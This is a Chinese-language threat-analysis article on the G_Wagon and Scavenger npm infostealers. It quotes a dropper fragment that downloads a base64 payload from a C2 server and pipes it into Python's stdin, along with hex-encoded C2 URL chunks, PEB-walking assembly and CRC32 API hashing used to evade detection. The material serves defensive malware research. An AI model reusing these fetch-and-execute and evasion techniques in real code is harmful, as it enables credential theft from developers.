摘要

軟體供應鏈攻擊的激增,特別是在 Node Package Manager (npm) 生態系中,對現代軟體開發構成了嚴重威脅。這份報告針對兩個複雜的多階段 infostealers:G_Wagon 與 Scavenger 提供深入的技術分析,兩者皆透過受駭的 npm 套件進行散佈。分析重點在於其感染向量、運作演進、進階反分析技術以及 Payload 執行機制。關鍵技術發現包括 G_Wagon 轉向透過 Python 標準輸入進行記憶體內執行,以及利用十六進位編碼字串進行命令與控制 (C2) 混淆。此外,報告研究了 Scavenger 的複雜 loader,其採用客製化 CRC32 hash 進行動態函式解析,並使用間接 syscalls 以繞過安全性 hook。透過剖析這些威脅的技術細節,這份研究的目的為揭示供應鏈惡意軟體日益增長的複雜性,並強調建立強健防禦策略的必要性。

消失的 Artifact:G_Wagon 如何透過 Python Stdin 實現無檔案攻擊 | 資訊安全新聞

1. 簡介

軟體供應鏈安全已成為資安領域的首要關注點。像 npm 這種套件管理器固有的信任感,經常被 Threat actor 利用來散佈複雜的惡意軟體。這些攻擊通常利用看似無害的套件安裝腳本來啟動多階段感染鏈。以 ansi-universal-ui 套件為偽裝散佈的 G_Wagon infostealer 正是這一趨勢的縮影 [1] 。同樣地,Scavenger 惡意軟體則是透過熱門套件 eslint-config-prettier 的受駭版本進行部署 [2] 。這兩個案例都顯示了惡意軟體設計的明顯演進,從單純的檔案型執行轉向採用複雜的反數位鑑識與反分析技術。這份報告對 G_Wagon 和 Scavenger 的機制進行了比較性的技術深度探討,重點關注於實現持續感染與規避偵測的技術創新。

2. G_Wagon:一個多階段 Python Infostealer

G_Wagon 惡意軟體是一個以 Python 為基礎的 infostealer,它利用以 JavaScript 撰寫的多階段 dropper,透過 npm postinstall hook 執行。攻擊者展現了快速的更新週期,在兩天內發布了十個版本,顯示其正進行積極的開發與測試過程 [1] 。最初的版本主要用於測試執行基礎架構,使用一個簡單的佔位符 Python 腳本,該腳本僅列印確認訊息。這個測試階段對於攻擊者完善 dropper 的可靠性至關重要,包括修復 HTTP 重新導向處理機制中的一個關鍵錯誤 [1]

2.1. 執行流程與規避技術

武器化版本的 G_Wagon 引入了幾項關鍵技術變革,目的在提高隱蔽性與持續性。惡意軟體執行流程的設計是為了盡可能減少主機系統上的 Artifact。初始 dropper 腳本負責下載 Python runtime,隨後從託管在 Appwrite 雲端儲存區的 Command and Control (C2) 伺服器獲取經過高度混淆的 Python Payload [1]

在 1.4.0 版中,惡意程式展現出重要的技術突破,從磁碟執行模式改為記憶體執行模式。這種技術在繞過檔案系統監控和傳統端點偵測與回應 (Endpoint Detection and Response, EDR) 系統方面非常有效。dropper 腳本獲取 base64 編碼的 Python Payload,在記憶體中進行解碼,並將原始碼直接透過管道傳送到新啟動的 Python 直譯器的標準輸入 [1]

graph TD A[npm install] --> B[postinstall hook: node index.js] B --> C{Platform Check} C -- Windows --> D[Download Python Runtime] D --> E[Fetch Base64 Payload from Appwrite] E --> F[Decode Payload in Memory] F --> G[Spawn Python Process via stdin] G --> H[Exfiltrate Data: Wallets, Credentials, Tokens] H --> I[DLL Injection into Browser Processes]

圖 1:G_Wagon 多階段執行流程。

這種記憶體內執行的核心機制如下方來自 dropper 的 JavaScript 片段所示:

  1. // Code Snippet 1: G_Wagon In-Memory Python Execution (v1.4.0)
  2. // Fetching base64-encoded Python from C2
  3. const b64Content = await downloadString(REMOTE_B64_URL);
  4. // Decoding in memory to avoid disk artifacts
  5. const pythonCode = Buffer.from(b64Content.trim(), 'base64').toString('utf-8');
  6. // Spawning Python process and piping code through stdin
  7. // This bypasses file-based detection mechanisms
  8. const child = spawn(LOCAL_PYTHON_BIN, ['-'], { stdio: ['pipe', 'inherit', 'inherit'] });
  9. child.stdin.write(pythonCode);
  10. child.stdin.end();

此外,G_Wagon 採用字串混淆來隱藏其 C2 基礎設施。在 1.4.1 版本中,C2 URL 被拆分為多個十六進位編碼的區塊,僅在執行時重新組合。這種技術是擊敗靜態分析工具的常用策略,這些工具會掃描原始碼中可疑的 URL 或 IP 位址 [1]

  1. // Code Snippet 2: G_Wagon Hex-Encoded C2 Obfuscation (v1.4.1)
  2. // C2 URL split into hex-encoded chunks to evade static string analysis
  3. const _ui_assets = [
  4. "68747470733a2f2f6672612e636c6f75642e61707077726974652e696f2f...",
  5. "3639363865613536303033313663313238663232",
  6. "2f66696c65732f",
  7. "363937333638333830303333343933353735373..."
  8. ];
  9. // Reconstructing the URL at runtime
  10. const _gfx_src = _ui_assets.map(s => Buffer.from(s, 'hex').toString()).join('');

G_Wagon 的最終 Payload 是一個全面的 infostealer,針對超過 100 種加密貨幣錢包、瀏覽器認證、雲端認證和 Discord Token。它還包含一個嵌入式 Windows DLL,目的在利用 NT Native API 注入到瀏覽器程序中,顯示其在資料外洩能力方面具有極高水準 [1]

3. 比較分析:Scavenger 的進階反分析 Loader

雖然 G_Wagon 專注於記憶體內執行和 C2 混淆,但 Scavenger 惡意軟體在其 loader 元件中提供了一個關於進階反分析和防禦規避技術的引人注目的研究案例 [2] 。Scavenger 的初始感染向量涉及一個 JavaScript 檔案 install.js ,它使用 rundll32.exe 執行惡意 DLL node-gyp.dll [2] 。這個 DLL 作為 Scavenger Loader,內建大量檢查機制,專門用來在虛擬化或分析環境中偵測並觸發 Crash。

3.1. 複雜的反虛擬化與反除錯

Scavenger loader 採用了一套反分析檢查,包括反虛擬機器 (VM) 偵測、分析工具偵測以及環境檢查。對於 VM 偵測,loader 使用 GetSystemFirmwareTable 查詢系統韌體資料表,以列舉常見的 VM BIOS 識別碼,例如與 VMware 和 QEMU 相關的識別碼 [2] 。如果偵測到虛擬化環境,惡意軟體會終止以防止分析。此外,loader 會主動掃描程序空間中與資安產品和分析工具相關的 DLL,例如 Avast 的 snxhk.dll 和 Sandboxie 的 SbieDll.dll [2]

其他環境檢查包括透過 NtQuerySystemInformation 驗證處理器數量,較少的數量(例如少於三個)通常表示為沙箱環境,並會觸發 crash [2] 。這種多層次的反分析方法總結在下圖中:

graph TD A[rundll32 node-gyp.dll] --> B[Anti-Analysis Checks] B --> C[VM Detection: GetSystemFirmwareTable RSMB] B --> D[AV Detection: DLL Enumeration] B --> E[Environment: Processor Count & Console Check] C -- Detected --> F[Null-Pointer Crash] D -- Detected --> F E -- Detected --> F B -- Passed --> G[Function Hash Resolution CRC32] G --> H[Indirect Syscalls] H --> I[Execute Infostealer Payload]

圖 2:Scavenger Loader 反分析機制。

3.2. 透過客製化 Hashing 進行動態函式解析

Scavenger loader 的一個關鍵技術特徵是使用動態函式解析,這避免了對傳統匯入位址表(Import Address Table, IAT) 的依賴。這種技術使得靜態分析變得更具挑戰性,因為匯入的函式不會立即顯示。loader 實作了一個客製化 CRC32 hashing routine 來動態解析所需函式的位址 [2]

流程一開始會檢視程序環境區塊(Process Environment Block, PEB),列出當前載入的 DLL。下方的組合語言程式碼片段說明了如何存取 PEB 以及定位 InMemoryOrderModuleList

  1. // Code Snippet 3: Scavenger PEB Traversal for DLL Enumeration
  2. // Accessing the Process Environment Block (PEB) via the GS register
  3. mov rax, qword [gs:0x60]
  4. mov qword [rel g_peb], rax
  5. mov rax, qword [rel g_peb]
  6. // Navigating to the Loader Data (Ldr)
  7. mov rax, qword [rax+0x18]
  8. // Accessing the InMemoryOrderModuleList to enumerate loaded DLLs
  9. add rax, 0x20
  10. mov qword [rbp+0x3928], rax
  11. mov rax, qword [rbp+0x3928]
  12. mov rax, qword [rax]

一旦 DLL 被列舉,loader 會為模組內的每個匯出函式名稱計算一個客製化 CRC32 hash。然後將此 hash 與所需函式(例如 NtClose )的預先計算 hash 進行比較。如果找到匹配項,函式的位址就會被解析並儲存以供日後使用 [2] 。這種客製化 hashing 邏輯是一種複雜的方法,可確保惡意軟體的核心功能不被簡單的字串或 IAT 分析發現。

  1. // Code Snippet 4: Scavenger Custom CRC32 Hashing for Function Resolution
  2. // Custom CRC32 implementation to resolve function addresses without an Import Table
  3. for (int32_t i_1 = 0; i_1 < var_128a0_1; i_1++){
  4. // XORing with the custom CRC table
  5. crc = g_crctable[zx.q(sx.d(*buf)) ^ zx.d(crc)] ^ crc >> 8;
  6. buf++;
  7. }
  8. // Comparing the final hash with the target function hash (e.g., NtClose)
  9. if ((zx.q(crc) ^ 0xffffffff) == NtClose){
  10. mv_NtClose = dllBase + ...;
  11. }

此外,Scavenger 利用 **indirect syscalls** 來執行關鍵的 Windows API 函式。由於不直接呼叫 API 函式,惡意軟體可以繞過 EDR 和資安軟體經常放置的使用者模式 hook,使其惡意操作在 Kernel 空間中進行而不被偵測到 [2]

4. 技術比較與啟發

G_Wagon 和 Scavenger 的案例突顯了在軟體供應鏈中規避偵測的兩種截然不同、但同樣有效的方法。G_Wagon 的主要創新在於其維運安全性,特別是轉向記憶體內執行以及為其 C2 基礎設施使用多層混淆。這種對最小化磁碟 Artifact 和掩蓋網路通訊的關注使得動態分析變得困難 [1]

相比之下,Scavenger 的技術複雜性集中在它的 loader 上,其設計目的是主動偵測並擊敗自動化分析環境和資安產品。使用客製化 hashing 進行函式解析和 indirect syscalls 對靜態和動態逆向工程都構成了重大障礙 [2]

下表總結了這兩個惡意軟體家族之間的主要技術差異與相似之處:

特徵 G_Wagon Infostealer Scavenger Infostealer
感染向量 npm postinstall hook (JS) npm install.js (JS)
主要 Payload 語言 Python Windows DLL (Loader)
執行規避 透過 python - (stdin pipe) 進行記憶體內執行 [1] 透過 rundll32.exe 執行 [2]
C2 混淆 十六進位編碼字串拆分 [1] loader 分析中未詳述
反分析重點 反數位鑑識 (Artifact 清理、日誌淨化) [1] 抗 VM、抗 AV、環境檢查 [2]
進階規避技術 記憶體內 Payload 傳遞 客製化 CRC32 函式 hashing、Indirect Syscalls [2]

這些技術的融合——從混淆的 C2 通訊和記憶體內執行到積極的反分析和核心級規避——突顯了威脅態勢的關鍵轉變。防禦此類威脅需要具備深度程序監控、行為分析和啟發式偵測能力的資安工具,以識別這些多階段攻擊的微妙指標,而非僅依賴靜態特徵碼比對。

5. 結論

G_Wagon 與 Scavenger infostealers 是目前軟體供應鏈攻擊中採用的進階技術能力的有力證明。G_Wagon 的運作演進,特別是將其 Python Payload 直接透過管道傳送至直譯器標準輸入的做法,代表了一種高度有效的反數位鑑識措施,能將惡意程式碼留在磁碟上的時間降至最低。同時,Scavenger 的 loader 展示了對底層 Windows 規避的熟練掌握,利用 PEB 檢測、客製化 CRC32 hashing 和 indirect syscalls 來確保其核心函式在使用者模式安全性 hook 的監控範圍之外解析並執行。惡意軟體作者與資安研究人員之間的技術軍備競賽持續升級,要求轉向更複雜、基於行為的安全性模型,以保護軟體供應鏈的完整性。